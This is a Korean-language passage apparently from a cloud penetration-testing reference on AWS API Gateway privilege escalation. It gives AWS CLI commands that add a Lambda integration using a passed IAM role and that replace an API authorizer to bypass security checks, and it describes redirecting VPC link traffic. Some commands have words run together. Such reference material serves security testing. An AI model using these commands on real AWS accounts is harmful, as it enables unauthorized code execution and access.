apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole 권한을 가진 공격자는 IAM 역할이 연결된 Lambda 함수를 사용하여 기존 API Gateway REST API에 새로운 통합을 추가할 수 있습니다. 그런 다음 공격자는 Lambda 함수를 트리거하여 임의의 코드를 실행하고 IAM 역할과 관련된 리소스에 액세스할 수 있습니다.
API_ID="your-api-id"RESOURCE_ID="your-resource-id"HTTP_METHOD="GET"LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"# Add a new integration to the API Gateway REST APIaws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST APIawsapigatewaycreate-deployment--rest-api-id $API_ID --stage-nameProd
apigateway:UpdateAuthorizer 및 apigateway:CreateDeployment 권한을 가진 공격자는 기존의 API Gateway 인증자를 수정하여 보안 검사를 우회하거나 API 요청이 이루어질 때 임의의 코드를 실행할 수 있습니다.
API_ID="your-api-id"AUTHORIZER_ID="your-authorizer-id"LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"# Update the API Gateway authorizeraws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST APIawsapigatewaycreate-deployment--rest-api-id $API_ID --stage-nameProd
잠재적인 영향: 보안 검사 우회, API 리소스에 대한 무단 액세스.
apigateway:UpdateVpcLink
테스트 필요
apigateway:UpdateVpcLink 권한을 가진 공격자는 기존 VPC 링크를 수정하여 다른 네트워크 로드 밸런서를 가리킬 수 있으며, 이로 인해 개인 API 트래픽이 무단 또는 악의적인 리소스로 리디렉션될 수 있습니다.